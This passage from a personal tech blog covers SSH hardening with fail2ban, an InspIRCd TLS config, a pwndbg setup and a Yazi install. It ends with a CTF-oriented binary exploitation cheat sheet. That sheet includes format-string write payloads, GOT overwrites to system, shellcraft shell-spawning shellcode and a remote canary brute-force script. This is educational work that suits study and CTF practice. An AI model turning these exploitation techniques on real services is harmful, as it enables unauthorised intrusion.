Hello Navi

Tech, Security & Personal Notes

Protect SSH With Fail2ban

Public SSH servers are constantly scanned and brute-forced. Changing the SSH port is not real security by itself, but it reduces background noise. fail2ban adds an actual defensive layer by watching failed login attempts and temporarily banning abusive IP addresses.

This note records a minimal setup for SSH protection with fail2ban and systemd logs.

Install Fail2ban

Arch Linux:

1
sudo pacman -S fail2ban

Debian/Ubuntu:

1
sudo apt install fail2ban

Enable the service:

1
sudo systemctl enable --now fail2ban

Optional: Change SSH Port

Edit the SSH daemon config:

1
sudo vim /etc/ssh/sshd_config

Set a non-default port. This article uses 22222 as an example; replace it with your own value.

1
Port 22222

Before restarting SSH, keep your current SSH session open. A bad config or firewall mistake can lock you out.

Validate the config:

1
sudo sshd -t

Restart SSH:

1
sudo systemctl restart sshd

Some distributions use ssh instead of sshd as the service name:

1
sudo systemctl restart ssh

Test login from another terminal before closing the old session:

1
ssh -p 22222 user@example.com

Configure Fail2ban For SSH

Create a local jail config instead of editing the packaged defaults:

1
sudo vim /etc/fail2ban/jail.d/sshd.local

Minimal config:

1
2
3
4
[sshd]
enabled = true
port = 22222
backend = systemd

If you keep SSH on the default port, use:

1
port = ssh

Restart fail2ban:

1
sudo systemctl restart fail2ban

Check Status

List enabled jails:

1
sudo fail2ban-client status

Check the SSH jail:

1
sudo fail2ban-client status sshd

View logs:

1
sudo journalctl -u fail2ban -e

On systems where fail2ban logs to a file:

1
sudo less /var/log/fail2ban.log

Unban An IP

If you accidentally ban yourself, unban the IP from another trusted session:

1
sudo fail2ban-client set sshd unbanip 203.0.113.10

203.0.113.10 is a documentation example address. Replace it with the real IP you need to unban.

Safer SSH Baseline

Fail2ban is only one layer. These SSH settings are usually worth enabling too:

1
2
3
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes

After changing SSH config, always validate and restart:

1
2
sudo sshd -t
sudo systemctl restart sshd

Notes

  • Do not rely on port changes as the only protection.
  • Prefer SSH keys over passwords.
  • Keep an existing SSH session open while changing SSH and firewall settings.
  • If a firewall is enabled, allow the SSH port before restarting SSH.
  • Use /etc/fail2ban/jail.d/*.local files for local overrides so package updates do not overwrite your changes.

InspIRCd IRC Server With TLS

This note records a minimal InspIRCd configuration for running a small IRC server with TLS support. The example exposes a plain client port on 6667 and a TLS client port on 6697.

The TLS setup uses the ssl_gnutls module and certificate files stored under /etc/inspircd/cert/.

Requirements

Install InspIRCd and make sure the GnuTLS SSL module is available:

1
sudo pacman -S inspircd

On Debian/Ubuntu-style systems, the package name may differ:

1
sudo apt install inspircd

You also need a certificate and private key. For a public domain, use Let's Encrypt or another ACME client. The config below expects:

1
2
/etc/inspircd/cert/fullchain.pem
/etc/inspircd/cert/privkey.pem

TLS Configuration

Add or adapt the following server, module, TLS profile, bind, admin, class, type, and oper blocks in your InspIRCd config.

Do not publish a real oper password. Generate a strong password or use InspIRCd's password hashing support if available in your setup.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<server
name="irc.example.com"
description="Example IRC Server"
network="ExampleNet"
>

<module name="ssl_gnutls">

<sslprofile
name="DefaultTLS"
provider="gnutls"
certfile="/etc/inspircd/cert/fullchain.pem"
keyfile="/etc/inspircd/cert/privkey.pem"
>

<bind address="" port="6667" type="clients">
<bind address="" port="6697" type="clients" ssl="DefaultTLS">

<admin
name="Example Admin"
nick="ExampleAdmin"
email="admin@example.com"
>

<class name="Class" commands="*" privs="*">
<type name="NetAdmin" classes="Class" modes="+s +c">

<oper
name="admin"
password="REPLACE_WITH_A_STRONG_PASSWORD_OR_HASH"
host="*@*"
type="NetAdmin"
>
</oper>

</type>
</class>
</admin>
</bind>
</bind>
</sslprofile>
</module>
</server>

Check The Config

Before restarting the service, run InspIRCd's config test if your package provides it:

1
sudo inspircd --configtest

If your package uses a different wrapper, check the service logs after restart:

1
2
3
sudo systemctl restart inspircd
sudo systemctl status inspircd
journalctl -u inspircd -e

Connect

Plain IRC:

1
2
3
server: irc.example.com
port: 6667
TLS: off

TLS IRC:

1
2
3
server: irc.example.com
port: 6697
TLS: on

With WeeChat:

1
2
/server add examplenet irc.example.com/6697 -ssl
/connect examplenet

With irssi:

1
/connect -ssl irc.example.com 6697

Oper Login

After connecting as a normal user, authenticate as an IRC operator:

1
/OPER admin <password>

If login succeeds, the user receives the privileges from the configured NetAdmin type.

Notes

  • Use port 6697 for TLS clients. This is the common IRC-over-TLS port.
  • Keep 6667 only if you intentionally want to allow plaintext clients.
  • Restrict host="*@*" for real deployments. A narrower host mask is safer.
  • Avoid committing real passwords into blog posts, git repositories, or public config examples.
  • Prefer hashed oper passwords if your InspIRCd version and modules support them.

My Pwndbg GDB Init Setup

This is my current .gdbinit setup for binary exploitation and reverse engineering. It loads pwndbg, switches disassembly to Intel syntax, follows child processes after fork, and automatically opens separate tmux panes for disassembly, stack, backtrace, registers, and an IPython scratch pane.

Requirements

Install these first:

  • gdb
  • pwndbg
  • tmux
  • ipython optional, only used for the scratch pane

The config assumes pwndbg is installed at:

1
/usr/share/pwndbg/gdbinit.py

If your pwndbg install path is different, change the first line of the config.

Install

Put the following content in ~/.gdbinit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
source /usr/share/pwndbg/gdbinit.py
set history save on
set follow-fork-mode child
set disassembly-flavor intel

set $mybase1 = 0x0000555555554000
set $mybase = 0x7ffff7ffc000

python
import os
import atexit
import pwndbg
from pwndbg.commands.context import contextoutput

if 'TMUX' in os.environ:
created_panes = []

def create_pane(split_cmd):
output = os.popen(split_cmd).read().strip()
if not output: return None, None
pane_id, tty = output.split(":")
created_panes.append(pane_id)
return pane_id, tty

p_disasm_id, p_disasm_tty = create_pane('tmux split-window -vb -P -F "#{pane_id}:#{pane_tty}" -l 75% -d "cat -"')
p_stack_id, p_stack_tty = create_pane(f'tmux split-window -v -P -F "#{{pane_id}}:#{{pane_tty}}" -l 40% -t {p_disasm_id} -d "cat -"')
p_bt_id, p_bt_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -t -1 -l 30% -d "cat -"')
p_regs_id, p_regs_tty = create_pane(f'tmux split-window -h -P -F "#{{pane_id}}:#{{pane_tty}}" -t {p_stack_id} -l 30% -d "cat -"')
p_ipy_id, p_ipy_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -l 30% -d "ipython"')

if p_disasm_tty: contextoutput("disasm", p_disasm_tty, True, 'top', False)
if p_stack_tty: contextoutput("stack", p_stack_tty, True, 'top', False)
if p_bt_tty: contextoutput("backtrace", p_bt_tty, True, 'top', False)
if p_regs_tty: contextoutput("regs", p_regs_tty, True, 'top', False)

if p_stack_tty: contextoutput("legend", p_stack_tty, True)
if p_regs_tty: contextoutput("expressions", p_regs_tty, True, 'top', False)

def cleanup_panes():
for pid in created_panes:
os.system(f"tmux kill-pane -t {pid} >/dev/null 2>&1")

atexit.register(cleanup_panes)
else:
print("\n[\033[33m*\033[0m] Not running inside TMUX. Standard pwndbg output will be used.")

pwndbg.config.context_disasm_lines.value = 25
pwndbg.config.context_stack_lines.value = 18
end

Usage

Start a tmux session first:

1
tmux

Then run GDB or pwndbg normally:

1
gdb ./chall

or:

1
pwndbg ./chall

When GDB starts inside tmux, the config creates panes for:

  • disasm: current instruction context
  • stack: stack view plus pwndbg legend
  • backtrace: call stack
  • regs: registers and expressions
  • ipython: scratch Python shell

When GDB exits, the created tmux panes are killed automatically through the atexit cleanup hook.

If GDB is not running inside tmux, no panes are created and pwndbg falls back to the normal inline context output.

Important Lines

1
set history save on

Keeps GDB command history across sessions.

1
set follow-fork-mode child

After fork(), GDB follows the child process. This is useful for fork-based CTF services where the vulnerable logic runs in the child.

1
set disassembly-flavor intel

Uses Intel syntax instead of AT&T syntax.

1
2
pwndbg.config.context_disasm_lines.value = 25
pwndbg.config.context_stack_lines.value = 18

Controls how much disassembly and stack context pwndbg prints.

Base Address Helpers

These two lines are personal scratch variables:

1
2
set $mybase1 = 0x0000555555554000
set $mybase = 0x7ffff7ffc000

They are not required. I use them as quick base-address anchors while debugging PIE binaries or shared libraries. You can remove them or replace them with values from piebase, vmmap, or a leak.

Example usage:

1
2
x/10i $mybase1 + 0x1234
b *($mybase1 + 0x19e3)

Adjusting The Layout

The pane sizes are controlled by tmux split-window -l:

1
2
3
'tmux split-window -vb ... -l 75% ...'
'tmux split-window -v ... -l 40% ...'
'tmux split-window -h ... -l 30% ...'

Change these percentages if the panes are too large or too small for your monitor.

If you do not want the IPython pane, remove this line:

1
p_ipy_id, p_ipy_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -l 30% -d "ipython"')

Troubleshooting

If GDB prints Not running inside TMUX, start tmux first and launch GDB from inside it.

If pwndbg fails to load, verify the path:

1
ls /usr/share/pwndbg/gdbinit.py

If ipython fails, install it or remove the IPython pane line.

If the panes stay open after a crash, close them manually:

1
tmux kill-pane -t <pane_id>

Yazi File Manager Setup

Yazi is a terminal file manager written in Rust. It is fast, keyboard-driven, and works well as a lightweight replacement for opening a full GUI file manager when working inside a terminal or SSH session.

This note records a minimal Linux setup: install the standalone binary and add a shell wrapper so that exiting Yazi can change the current shell directory.

Installation

Download the latest musl build from the official release page:

1
wget https://github.com/sxyazi/yazi/releases/latest/download/yazi-x86_64-unknown-linux-musl.zip

Extract it:

1
2
unar yazi-x86_64-unknown-linux-musl.zip
cd yazi-x86_64-unknown-linux-musl

Install both binaries into a directory in $PATH:

1
sudo mv yazi ya /usr/local/bin/

Check that it works:

1
2
yazi --version
ya --version

Shell Wrapper

By default, a terminal file manager cannot directly change the parent shell's current directory. Yazi solves this by writing the final directory to a temporary file. A shell function can read that file after Yazi exits and then cd there.

Add this function to .bashrc, .zshrc, or the shell config you use:

1
2
3
4
5
6
7
function y() {
local tmp="$(mktemp -t "yazi-cwd.XXXXXX")" cwd
command yazi "$@" --cwd-file="$tmp"
IFS= read -r -d '' cwd < "$tmp"
[ "$cwd" != "$PWD" ] && [ -d "$cwd" ] && builtin cd -- "$cwd"
rm -f -- "$tmp"
}

Reload the shell configuration:

1
source ~/.zshrc

For Bash, use:

1
source ~/.bashrc

Now start Yazi with:

1
y

When you quit Yazi, the terminal will stay in the directory you were viewing.

Notes

  • yazi is the file manager itself.
  • ya is Yazi's helper command, used for package/plugin management and integrations.
  • The musl build is convenient because it is mostly self-contained and works on many Linux distributions.
  • If sudo mv fails, make sure /usr/local/bin exists and is included in $PATH.

Update

To update, download the latest release again and replace the old yazi and ya binaries:

1
2
3
4
wget https://github.com/sxyazi/yazi/releases/latest/download/yazi-x86_64-unknown-linux-musl.zip
unar yazi-x86_64-unknown-linux-musl.zip
cd yazi-x86_64-unknown-linux-musl
sudo mv yazi ya /usr/local/bin/

x86_64 Architecture & Stack

Byte Order & Packing

  • Most Linux CTF binaries on x86/x86_64 are little-endian: the least significant byte is stored at the lowest address.
  • 0x40123a packed as 64-bit little-endian becomes 3a 12 40 00 00 00 00 00.
  • This matters for partial overwrites: overflowing byte-by-byte overwrites the low bytes of a saved pointer first.
1
2
3
4
5
6
7
8
from pwn import *

p8(0x41) # b'A'
p16(0x1234) # b'4\x12'
p32(0xdeadbeef) # b'\xef\xbe\xad\xde'
p64(0x40123a) # b':\x12@\x00\x00\x00\x00\x00'

u64(leak.ljust(8, b'\x00'))

Registers

  • word = 2 bytes, dword = 4 bytes, qword = 8 bytes
  • RBP: frame/base pointer, RSP: stack pointer, RIP: instruction pointer.
  • Writing to 32-bit registers (e.g., EAX) automatically clears the upper 32 bits of the corresponding 64-bit register (RAX). xor EAX, EAX is equivalent to xor RAX, RAX but has a shorter encoding.

Memory access sizes:

1
2
3
4
mov [RAX], bl    ; 1 byte
mov [RAX], bx ; 2 bytes (word)
mov [RAX], ebx ; 4 bytes (dword)
mov [RAX], rbx ; 8 bytes (qword)

Calling Convention (SysV ABI)

  • Arguments: RDI, RSI, RDX, RCX, R8, R9.
  • Return Value: RAX (with RDX potentially holding high bits or extra data).
  • Syscall arguments: RDI, RSI, RDX, R10, R8, R9; syscall number in RAX.
  • RCX and R11 are clobbered by syscall.
  • x86_32: Arguments are passed via the stack in right-to-left order.
1
2
man syscall
grep -R "__NR_execve" /usr/include/asm* /usr/include/x86_64-linux-gnu/asm* 2>/dev/null

REX.W Prefix (0x48)

The REX prefix range is 0x40-0x4F (0100 WRXB), used to extend x86 instructions to 64-bit:

  • W: Set to 1 for 64-bit operations.
  • R, X, B: Extension for register addressing (R8-R15).

mov RDI, RSP requires a REX prefix with W=1 → 0100 1000 = 0x48.

Stack Frame Layout

  • RBP (Register): Points to the bottom of the current function stack frame. Local variables are accessed relative to it (e.g., [RBP - 0x10]).
  • saved RBP (Stack Data): A backup of the caller's RBP, used to restore the previous frame upon return.

Prologue & Epilogue

1
2
3
4
5
6
7
8
; Prologue (Entering Function B)
push RBP ; Save Caller A's RBP -> becomes saved RBP
mov RBP, RSP ; Establish B's stack frame

; Epilogue (Exiting Function B) - Equivalent to 'leave; ret'
mov RSP, RBP ; Clean up local variables
pop RBP ; Restore Caller A's RBP
ret ; Return to Caller A
1
2
3
4
5
6
7
8
9
10
11
High Addr  +-------------------------------+
| Caller's Stack Frame |
+-------------------------------+
| return address | ← call instruction auto-push
+-------------------------------+ ← reg RBP points here
| saved RBP | ← stores caller's RBP
+-------------------------------+
| local variables | ← accessed via [RBP - offset]
+-------------------------------+ ← reg RSP (stack top)
Low Addr | (unused) |
+-------------------------------+

Memory Management

Segments

  • .text: Executable code.
  • .data: Initialized global writable data.
  • .rodata: Read-only data (strings, constants).
  • .bss: Uninitialized global writable data.
  • stack: Local variables and function metadata.
  • heap: Dynamically allocated memory via malloc().

Viewing memory maps:

1
cat /proc/<pid>/maps

Von Neumann Architecture

In memory, bytes can represent either code or data; the CPU distinguishes them solely based on RIP. Bytes pointed to by RIP are executed as opcodes, while others accessed via pointers are treated as data.

Security Mitigations

Name Description
NX No-eXecute bit. Hardware-level page attribute marking memory pages as non-executable.
W^X Write XOR Execute. Memory is either writable or executable, never both simultaneously.
ASLR Address Space Layout Randomization. Randomizes memory layout at runtime.
PIE Position Independent Executable. Randomizes the binary base address.
canary Stack protector. Detects buffer overflow by checking a secret value before returning.

Checksec Reading

Mitigation Exploitation impact
No Canary Saved RIP overwrite is usually direct once the offset is known.
Canary Need leak, byte brute-force, non-return control flow, or write primitive that skips the canary.
NX disabled Stack/heap shellcode is viable if control can jump to it.
NX enabled Prefer ROP, ret2libc, mprotect, mmap, JOP/COP, or existing executable regions.
No PIE Binary code addresses are fixed, e.g. win() / gadgets / PLT have stable absolute addresses.
PIE enabled Need code pointer leak, PIE base recovery, or partial overwrite/brute force.
No RELRO GOT is writable and can be overwritten before/after resolution.
Partial RELRO .got.plt remains writable; lazy binding is still present.
Full RELRO GOT is read-only after startup; GOT overwrite is blocked.
SHSTK Intel CET shadow stack verifies returns; classic ret overwrite/ROP may fail.
IBT Intel CET indirect branch tracking requires indirect-call/jump targets to begin with endbr64.

checksec hints at the easiest path, but it is not a proof. A binary with executable stack may still be protected by SHSTK/IBT, input filters, unstable stack addresses, or non-return exits.

ELF & Dynamic Linking

  • ELF header: architecture, entry point, program headers.
  • Program headers: loader view; maps segments into memory (LOAD, GNU_STACK, GNU_RELRO).
  • Section headers: linker/debugger view; useful for .text, .plt, .got, .bss, symbols.
  • PLT: stubs in the binary used to call imported functions.
  • GOT: table of resolved function/data addresses.
  • Lazy binding: first PLT call jumps into the dynamic resolver, which writes the real libc address into GOT.
  • RELRO: controls whether relocation/GOT pages become read-only after relocation.
1
2
3
4
5
6
7
8
9
file ./chall
readelf -h ./chall
readelf -l ./chall
readelf -S ./chall
readelf -s ./chall
readelf -r ./chall # relocations / GOT targets
objdump -d ./chall | less
objdump -R ./chall # dynamic relocations
strings -a ./chall | less

Address Translation

  • VA: virtual address used at runtime.
  • RVA / offset inside module: runtime_addr - module_base.
  • File offset: byte offset in the ELF file; not always equal to RVA because segments have mapping alignment.

In a non-PIE ELF, .text often loads near 0x400000. In a PIE ELF, disassemblers may show offsets such as 0x1d08; runtime address is pie_base + 0x1d08.

1
2
3
4
piebase
breakrva 0x1d08
vmmap
xinfo 0x555555555d08

Binary Analysis & Tools

CLI Tools

1
2
3
4
5
6
7
8
9
file hello        # Identify arch, linking, stripped status
strip hello # Remove symbols
nm -a hello # Show symbol tables
checksec --file=hello
ltrace ./hello # Trace library calls
strace ./hello # Trace system calls
strings -a hello # Extract printable strings
readelf -a hello # ELF metadata
objdump -d hello # Disassembly

Reverse Engineering Workflow

  1. Identify: file, checksec, readelf -h, rabin2 -I.
  2. Triage strings/imports: strings, rabin2 -zz, rabin2 -i, IDA/Ghidra strings window.
  3. Find control points: main, parser loop, comparison branches, win, system, /bin/sh, open/read/write, strcmp, memcmp, printf.
  4. Recover input format: header magic, version, command/directive fields, length fields, endian, per-record size.
  5. Trace data flow: where user bytes land, how size is computed, where pointers are stored, whether data is copied, validated, freed, or printed.
  6. Convert checks into constraints: compare constants, printable-byte filters, checksums, jump tables, index math, bounds checks.
  7. Exploit mapping: choose leak/write/control-flow primitive that matches mitigations.

Useful questions while reversing:

  • Is the binary stripped? If not, start with symbols. If stripped, start with imports, strings, and cross-references.
  • Does the program return normally, call exit, or loop forever? Return-address hijacking only triggers on a return path.
  • Does a length check use signed or unsigned comparison? Which width: byte, word, dword, or qword?
  • Are there hidden repeat/backdoor paths that re-enter the vulnerable function before canary validation?
  • Does a parser use a switch/jump table? Can an out-of-range or special directive reach extra code?

radare2 Quick Reference

1
2
3
4
5
6
7
8
9
rax2 0x28                         # Hex/decimal conversion
rabin2 -I ./chall # Binary info
rabin2 -z ./chall # Data-section strings
rabin2 -zz ./chall # All strings
rabin2 -i ./chall # Imports
rabin2 -e ./chall # Entry points
r2 -A ./chall # Analyze and open
r2 -w ./chall # Open writable for patching
r2 -A -q -c "pdf @ main" ./chall # Non-interactive disassembly

Inside r2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
aaa             # Full analysis
afl # List functions
s main # Seek to symbol/address
s - # Seek back
pdf # Print current function
pdf @ sym.main # Print a function
pd 20 # Print 20 instructions
px 64 # Hexdump
iz # Strings in data sections
izz # Strings in whole binary
axt @ addr # Cross-references to address
axf @ addr # Cross-references from address
VV # Visual graph
wx 909090 # Patch raw bytes (requires -w)
wa nop # Assemble and patch instruction (requires -w)

Patching Notes

  • Patching data is safer than patching code when the target check compares constants or file-format bytes.
  • For code patches, inspect instruction length first; replacing a longer conditional branch with shorter bytes needs padding with nop.
  • In non-PIE ELF, runtime VA is often near file mapping base 0x400000; still convert VA to file offset using program headers or tooling instead of guessing.
1
2
3
rasm2 -a x86 -b 64 "nop"
rasm2 -a x86 -b 64 -d "90"
objdump -d -Mintel ./chall | less

Pwndbg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg /path/to/binary    # Launch
start # Break at main (fails if no main symbol)
starti # Break at first instruction (initialization code)
entry # Break at ELF entry point
info functions # List all analyzed function symbols
info frame # Show current stack frame
piebase # Show PIE base address
vmmap # Show memory layout (r-x, rw-, etc.)
breakrva 0x19e3 # Break at Relative Virtual Address (useful for PIE)
stack # Show stack
canary # Print and find canaries on the stack
context <section> # Show specific context window
checksec # Check for security features (NX, ASLR, PIE, Canary)
cyclic 100 # Generate 100-byte De Bruijn sequence
cyclic -l 0x6161616c # Find overflow offset using crash address
retaddr # Highlight return addresses in the current stack frame
rop # Simple ROP Gadget search
got # Show GOT state (resolved vs unresolved)
plt # View Procedure Linkage Table
heap # Overview of all heap chunks and their status
bins # View free lists (fastbins, unsorted, small, large, tcache)
arena # View detailed structure of the main arena (malloc_state)

p $rsp # Show current stack pointer
disass main # Disassemble 'main' function
break *main+123 # Breakpoint at main+123
Category Command
Stepping n (step over), s (step into), fin (finish), c (continue)
Breakpoints b *main+123, b <symbol>
Memory x/11s <addr>, hexdump <addr> 44, tele <addr>
Info context, vmmap, xinfo <addr>, checksec

my ~/.gdbinit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
source /usr/share/pwndbg/gdbinit.py
set history save on
set follow-fork-mode child
set disassembly-flavor intel

# may be useless
set $mybase1 = 0x0000555555554000
set $mybase = 0x7ffff7ffc000

python
import os
import atexit
import pwndbg
from pwndbg.commands.context import contextoutput

if 'TMUX' in os.environ:
created_panes = []

def create_pane(split_cmd):
output = os.popen(split_cmd).read().strip()
if not output: return None, None
pane_id, tty = output.split(":")
created_panes.append(pane_id)
return pane_id, tty

p_disasm_id, p_disasm_tty = create_pane('tmux split-window -vb -P -F "#{pane_id}:#{pane_tty}" -l 75% -d "cat -"')
p_stack_id, p_stack_tty = create_pane(f'tmux split-window -v -P -F "#{{pane_id}}:#{{pane_tty}}" -l 40% -t {p_disasm_id} -d "cat -"')
p_bt_id, p_bt_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -t -1 -l 30% -d "cat -"')
p_regs_id, p_regs_tty = create_pane(f'tmux split-window -h -P -F "#{{pane_id}}:#{{pane_tty}}" -t {p_stack_id} -l 30% -d "cat -"')
p_ipy_id, p_ipy_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -l 30% -d "ipython"')

if p_disasm_tty: contextoutput("disasm", p_disasm_tty, True, 'top', False)
if p_stack_tty: contextoutput("stack", p_stack_tty, True, 'top', False)
if p_bt_tty: contextoutput("backtrace", p_bt_tty, True, 'top', False)
if p_regs_tty: contextoutput("regs", p_regs_tty, True, 'top', False)

if p_stack_tty: contextoutput("legend", p_stack_tty, True)
if p_regs_tty: contextoutput("expressions", p_regs_tty, True, 'top', False)

def cleanup_panes():
for pid in created_panes:
os.system(f"tmux kill-pane -t {pid} >/dev/null 2>&1")

atexit.register(cleanup_panes)
else:
print("\n[\033[33m*\033[0m] Not running inside TMUX. Standard pwndbg output will be used.")

pwndbg.config.context_disasm_lines.value = 25
pwndbg.config.context_stack_lines.value = 18
end

pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = gdb.debug("./vuln", gdbscript="b *main+1\nc")
p.send(cyclic(123))
offset = cyclic_find(0x6161616a) # Finds 'jaaa'

import IPython
IPython.embed() # Launch IPython
# leak = u64(p.recvline(keepends=False).ljust(8, b'\x00'))

sc = asm(shellcraft.sh())
sc = asm(shellcraft.cat("/flag"))
sc = asm(shellcraft.chmod("/flag", 0o444))

View shellcraft:

1
2
3
pwn shellcraft -l
# Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocessed code, escape{d} hex string
pwn shellcraft amd64.linux.sh -f d

De Bruijn Sequence (Cyclic)

A De Bruijn sequence \(B(k, n)\) is a cyclic sequence where every possible string of length \(n\) over an alphabet of size \(k\) appears exactly once.

  • Why it's used: When a binary crashes due to a buffer overflow, the RIP will be overwritten by a 4 or 8-byte chunk of the sequence. Since every chunk is unique, cyclic_find can instantly determine the exact offset needed for the exploit.

Crash-offset workflow:

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.arch = "amd64"
p = process("./chall")
p.send(cyclic(300))
p.wait()

# In GDB/pwndbg, read overwritten RIP/RSP value, then:
offset = cyclic_find(0x6161616c) # 32-bit chunk
offset = cyclic_find(p64(0x6161616c6161616b), n=8)

For 64-bit patterns, keep n consistent between generation and lookup if you use non-default subsequence size.

Environment Control

  • Disable ASLR for Debugging: gdb disables ASLR by default. For a clean environment, use setarch x86_64 -R /bin/bash to spawn a shell where all child processes (excluding SUID) have ASLR disabled.
  • SUID Trap: gdb cannot disable ASLR for SUID binaries due to kernel security. Remove the SUID bit (chmod u-s) or copy the binary to a local directory before debugging.
  • Global ASLR Toggle: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space (Reset to 2 when finished).

Environment affects stack addresses. argv[0] length, environment variables, terminal, and pwntools launching mode can shift stack buffers. Use env={} in process() or add a NOP sled when stack shellcode depends on approximate addresses.

Information Disclosure Causes

String Termination Problems

C strings are null-terminated, meaning they lack length metadata and rely on a 0x00 byte to mark the end.

  • Missing Null byte: If a program reads exactly \(N\) bytes into an \(N\)-byte buffer (e.g., using read()), it won't append a null byte.
  • Disclosure: Functions like printf("%s") will continue reading past the buffer until they hit a null byte, potentially leaking adjacent sensitive data like a flag or canary.

Uninitialized Data (Stack Frame Reuse)

  • Frame Persistence: When a function returns, its stack frame is not cleared. The RSP simply moves back up.
  • Ghost Data: If a subsequent function call allocates a frame over the same memory area and fails to initialize its variables, it can read or "leak" the "ghost" data left by the previous function.

Compiler Backstabbing (Dead Store Elimination)

  • The Trap: A developer might use memset(buf, 0, size) to clear a sensitive flag before a function returns.
  • DSE: If the compiler (with -O2 or -O3) determines that buf is never accessed again before the function returns, it may "optimize out" the memset entirely, leaving the secret data on the stack. Use -fno-inline or specific memory barrier techniques to prevent this.

Format String Leaks

printf(user_input) treats user bytes as a format string. This can leak stack/register values and, with %n, write memory.

1
2
3
4
%p %p %p %p              # leak pointers
%lx.%lx.%lx # leak words
%7$sAAAA<addr> # read string from controlled address, offset depends on stack layout
%hn / %hhn / %n # write 2 / 1 / pointer-sized count

Pwntools helpers:

1
2
3
4
from pwn import *

offset = FmtStr(exec_fmt).offset
payload = fmtstr_payload(offset, {elf.got["printf"]: libc.sym["system"]})

Common path with writable GOT: leak a libc address, calculate libc.address, then overwrite printf@GOT/puts@GOT with system or an offset into win.

Memory Corruption Primitives

Stack Buffer Overflow

Typical offset calculation:

1
2
3
4
buf = rbp - 0x60
saved RBP = rbp
return address = rbp + 8
offset_to_ret = 0x60 + 8

Ret2win payload:

1
payload = b"A" * offset_to_ret + p64(elf.sym["win"])

If win_authed(token) checks a stack/local token, sometimes jump past the check instead of calling the function entry. This is an offset jump. Make sure the target instruction does not depend on skipped setup.

Canary Bypass Patterns

  • Direct leak: program prints past the canary because the input overwrote its leading \x00 terminator.
  • Residual stack leak: another function leaves a canary copy or secret in reused stack memory.
  • Recursive/retry path: trigger a path that re-enters vulnerable code before the outer canary is checked.
  • Fork brute-force: child crashes do not randomize parent canary; brute-force byte-by-byte.
  • Skip canary write zone: corrupt loop index, pointer, length, or destination so writes land after the canary.

Stack canary on amd64 usually has a null low byte. Leak reconstruction often looks like:

1
2
canary = u64(b"\x00" + leak7)
payload = flat(b"A" * off, canary, b"B" * 8, target)

Signedness & Integer Bugs

Danger pattern: check in signed arithmetic, use in unsigned API.

1
2
3
4
5
int size;
scanf("%d", &size);
if (size <= 64) {
read(0, buf, size); // size converted to size_t
}

-1 passes size <= 64, then becomes 0xffffffffffffffff as size_t.

Integer multiplication overflow:

1
2
uint32_t bytes = count * record_size;
if (bytes <= sizeof(buf)) read(0, buf, count * record_size);

If multiplication truncates before the check but the later copy/read uses the larger semantic size, bounds checks fail.

OOB Indexing

  • Negative index can read/write before an array.
  • Positive overlarge index can reach later locals, heap metadata, GOT, vtables, function pointers, or adjacent objects.
  • Convert byte distance to index by dividing by element size.
1
index = (target_addr - array_base) // element_size

Partial Pointer Overwrite

Partial overwrite changes only low bytes of a pointer. Useful when high bytes are stable due to page alignment or same mapping.

1
payload = b"A" * offset + p16(target_low_16)

This works best when source and destination are in the same module/stack/heap region or when only the low page offset must change.

GOT Overwrite

Requirements:

  • GOT target must be writable (No RELRO or sometimes Partial RELRO).
  • A write primitive reaches the target GOT entry.
  • The overwritten function is called after the overwrite.

Common targets:

  • printf@GOT -> system, then pass "/bin/sh" or a command string to printf.
  • puts@GOT -> win + offset, but avoid recursion if win itself calls puts first.

Heap Bug Classes

  • UAF: use a pointer after free; can become type confusion if the freed chunk is reallocated as another object.
  • Double free: same chunk inserted into a free list twice; allocator-dependent exploitability.
  • Overflow into metadata/object: corrupt size, next pointer, function pointer, vtable, length, or data pointer.
  • Aliased backing store: a high-level view (ArrayBuffer, slice, sprite, ledger view) still references native heap memory after resize/free.

Pwndbg commands:

1
2
3
4
5
6
7
heap
vis_heap_chunks
bins
tcachebins
fastbins
unsortedbin
arena

ASLR & Bypass Techniques

Method 1: Memory Leak

Despite ASLR, the relative offset between functions and data within the same module remains constant.

  1. Leak a known pointer (e.g., a function address in the GOT).
  2. Subtract its constant offset to find the base address.
  3. Calculate the addresses of all other gadgets/functions.

Method 2: Partial Overwrite (YOLO)

Memory is managed in pages (typically 0x1000 bytes). The lowest 12 bits of an address represent the page offset and are not randomized by ASLR.

  • Strategy: Overwrite only the least significant 1 or 2 bytes of the return address. This allows redirecting execution to a different instruction within the same page (or nearby) without knowing the randomized base. Overwriting 2 bytes usually requires a 1/16 brute-force of the 4th nibble.

Method 3: Fork Brute-force

In a fork()-based network server, child processes inherit the exact memory layout of the parent, including ASLR offsets and the canary.

  • Strategy: Brute-force the canary or return address byte-by-byte. If the child crashes, the parent simply forks a new one with the same values, allowing for infinite attempts.

Canary brute-force skeleton:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

canary = b"\x00"
for i in range(7):
for guess in range(256):
io = remote("host", 1337)
payload = b"A" * offset_to_canary + canary + bytes([guess])
io.send(payload)
out = io.recvall(timeout=0.2)
io.close()
if b"stack smashing detected" not in out and b"crash" not in out:
canary += bytes([guess])
break

Method 4: ret2libc

With NX enabled, call existing libc code instead of injecting code.

  1. Leak a libc pointer, e.g. puts(puts@GOT).
